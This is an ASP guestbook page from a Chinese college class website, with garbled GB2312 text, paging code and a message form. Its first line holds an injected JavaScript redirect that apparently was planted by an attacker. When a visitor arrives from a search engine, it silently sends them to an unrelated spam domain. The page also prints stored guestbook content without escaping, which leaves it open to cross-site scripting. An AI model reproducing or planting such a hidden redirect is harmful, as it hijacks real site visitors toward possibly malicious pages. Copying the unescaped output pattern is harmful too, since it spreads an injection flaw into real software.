d:\wwwroot\wuchunhua\ͨѶ¼\liuyanban\liuyan.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!-- #include file="chklogin.asp" -->
002:
<!-- #include file="conn.asp" -->
003:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
004:
"http://www.w3.org/TR/html4/loose.dtd">
005:
<html>
006:
<head>
007:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
008:
<link href="../css.css" rel="stylesheet" type="text/css">
009:
<title>ÆëÆë¹þ¶ûְҵѧԺ¼ÆÈí052--ÁôÑÔ°å</title>
010:
<style type="text/css">
011:
<!--
012:
.style3 { font-size: 1pt;
013:
color: #FFFFFF;
014:
}
015:
.ziti2 {font-family: "ËÎÌå";
016:
font-size: 12px;
017:
font-weight: bold;
018:
color: #FFFFFF;
019:
}
020:
body {
021:
background-image: url('../pic/xian.jpg');
022:
}
023:
.ziti { font-family: "ËÎÌå";
024:
font-size: 12px;
025:
font-weight: normal;
026:
color: #000000;
027:
}
028:
.ziti2 {
029:
font-family: "ËÎÌå";
030:
font-size: 12px;
031:
font-weight: normal;
032:
color: #000000;
033:
}
034:
.ziti1 { font-size: 12px;
035:
font-weight: normal;
036:
color: #000000;
037:
}
038:
.ziti {
039:
font-family: "ËÎÌå";
040:
font-size: 12px;
041:
font-weight: normal;
042:
color: #FFFFFF;
043:
}
044:
-->
045:
</style>
046:
</head>
047:
048:
<body>
049:
<table width="775" border="0" align="center" cellpadding="0" cellspacing="0">
050:
<tr>
051:
<th scope="col"><table width="775" border="0" cellspacing="0" cellpadding="0">
052:
<tr>
053:
<th scope="col"><img src="../pic/toplogo.jpg" width="775" height="80"></th>
054:
</tr>
055:
<tr>
056:
<td height="2"><span class="style3">1</span></td>
057:
</tr>
058:
<tr>
059:
<td height="20" background="../pic/tiao1.gif"><table width="775" border="0" cellpadding="0" cellspacing="0">
060:
<tr class="ziti">
061:
<th scope="col"><a href="../logined.asp">Ê×Ò³</a></th>
062:
<th scope="col"><a href="../photo/photo.asp">Ïà²á</a></th>
063:
<th scope="col"><a href="liuyan.asp">ÁôÑÔ±¾</a></th>
064:
<th scope="col"><a href="../xys/">ÐíÔ¸°å</a></th>
065:
<th scope="col"><a href="../xiaozhitiao/xiaozhitiao1.asp">ÇÄÇÄ»°</a></th>
066:
<th scope="col"><a href="../zlx/zlx.asp">×ÊÁÏÏ»</a></th>
067:
<th scope="col">¹ÜÀí</th>
068:
<th scope="col"><a href="../denglu/denglu.asp">怫</a></th>
069:
</tr>
070:
</table></td>
071:
</tr>
072:
</table></th>
073:
</tr>
074:
<tr>
075:
<td align="center" valign="top">
076:
<table width="100%" border="1" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#FFFFFF">
077:
078:
<%
079:
dim rs
080:
dim sql
081:
msg_per_page = 10
082:
set rs = server.createobject("adodb.recordset")
083:
sql="select * from [book] order by id DESC"
084:
rs.cursorlocation = 3
085:
086:
rs.pagesize = msg_per_page
087:
rs.open sql,conn,0,1
088:
089:
if err.number<>0 then
090:
response.write "Êý¾Ý¿â²Ù×÷ʧ°Ü£º" & err.description
091:
err.clear
092:
else
093:
if not (rs.eof and rs.bof) then
094:
totalrec = RS.RecordCount
095:
if rs.recordcount mod msg_per_page = 0 then
096:
n = rs.recordcount\msg_per_page
097:
else
098:
n = rs.recordcount\msg_per_page+1
099:
end if
100:
101:
currentpage = request("page")
102:
If currentpage <> "" then
103:
currentpage = cint(currentpage)
104:
if currentpage < 1 then
105:
currentpage = 1
106:
end if
107:
if err.number <> 0 then
108:
err.clear
109:
currentpage = 1
110:
end if
111:
else
112:
currentpage = 1
113:
End if
114:
if currentpage*msg_per_page > totalrec and not((currentpage-1)*msg_per_page < totalrec)then
115:
currentPage=1
116:
end if
117:
rs.absolutepage = currentpage
118:
rowcount = rs.pagesize
119:
120:
dim i
121:
dim k
122:
123:
while not rs.eof and rowcount > 0
124:
%
>
125:
<tr bgcolor="#6699FF">
126:
<th width="159" height="20" bgcolor="#d0e8ff" scope="col" class=ziti1>
<%
=rs("user")
%
>
127:
</th>
128:
<th width="415" rowspan="2" bgcolor="#d0e8ff" scope="col" class=ziti1 align=left>
<%
=rs("content")
%
></th>
129:
</tr>
130:
<tr bgcolor="#6699FF">
131:
<td width="159" height="20" bgcolor="#d0e8ff"><div align="center" class=ziti1>
<%
=rs("time")
%
></div></td>
132:
</tr>
133:
<tr><td width="100%" colspan="2" height="3"></td></tr>
134:
<%
135:
rowcount=rowcount-1
136:
rs.MoveNext
137:
wend
138:
end if
139:
end if
140:
rs.close
141:
set rs=nothing
142:
conn.close
143:
set conn=nothing
144:
%
>
145:
<tr bgcolor="#d0e8ff" class="ziti">
146:
<td colspan="2" align="center" valign="middle" class="ziti1">
147:
<%
call listPages()
%
> ¡¡</td>
148:
</tr>
149:
150:
</table>
151:
152:
</td>
153:
</tr>
154:
<tr>
155:
<td height="180" class="ziti1"><form method="post" action="ly_ok.asp">
156:
<table width="775" border="0" cellspacing="0" cellpadding="0">
157:
<tr class="ziti2">
158:
<td height="114" width="775"><table width="775" height="174" border="0" cellpadding="0" cellspacing="0">
159:
<tr>
160:
<th width="255" scope="col"><div align="right" class="ziti2">·¢±íµÄÄÚÈÝ£º</div></th>
161:
<th width="520" scope="col"><div align="left">
162:
¡¡</div><div align="left">
163:
<textarea name="content" cols="40" rows="10"></textarea>
164:
</div></th>
165:
</tr>
166:
<tr>
167:
<th height="28" colspan="2" scope="col"><div align="center">
168:
<input name="ok" type="submit" id="ok" value="Ìá½»">
169:
</div></th>
170:
</tr>
171:
</table></td>
172:
</tr>
173:
<tr>
174:
<td class="style3" width="775">1</td>
175:
</tr>
176:
</table>
177:
</form></td>
178:
</tr>
179:
<tr>
180:
<td height="33" class="ziti1"><hr>
181:
<div align="center"><span class="ziti1">°æÈ¨ËùÓÐ © ÆëÆë¹þ¶ûְҵѧԺ¼ÆËã»úÈí¼þ052°à</span></div></td>
182:
</tr>
183:
</table>
184:
</body>
185:
</html>
186:
<%
187:
sub listPages()
188:
if n <= 1 then exit sub
189:
for i=0 to n\msg_per_page-1
190:
for j=1 to msg_per_page
191:
%
>
192:
<b>
193:
<a href="
<%
=request.ServerVariables("script_name")
%
>?page=
<%
=i*msg_per_page+j
%
>">
194:
<font class=my3 color="#000000"><span style="font-weight: 400">[
<%
=i*msg_per_page+j
%
>]</span></font></a></b>
195:
<%
196:
next
197:
next
198:
EndPage = n mod msg_per_page
199:
for j=1 to EndPage
200:
%
>
201:
<b>
202:
<a href="
<%
=request.ServerVariables("script_name")
%
>?page=
<%
=i*msg_per_page+j
%
>">
203:
<font class=my3 color="#000000"><span style="font-weight: 400">[
<%
=i*msg_per_page+j
%
>]</span></font></a>
204:
<%
next
%
><br>
205:
</b>
206:
<font class=ziti1>µ±Ç°Ò³:
<%
=currentpage
%
> ×ÜÒ³Êý:
<%
=n
%
>
<%
=msg_per_page
%
>ÌõÁôÑÔ/Ò³ ×ÜÁôÑÔÊý:
<%
=totalrec
%
>ÌõÁôÑÔ</font>
207:
<%
end sub
%
>
208:
209: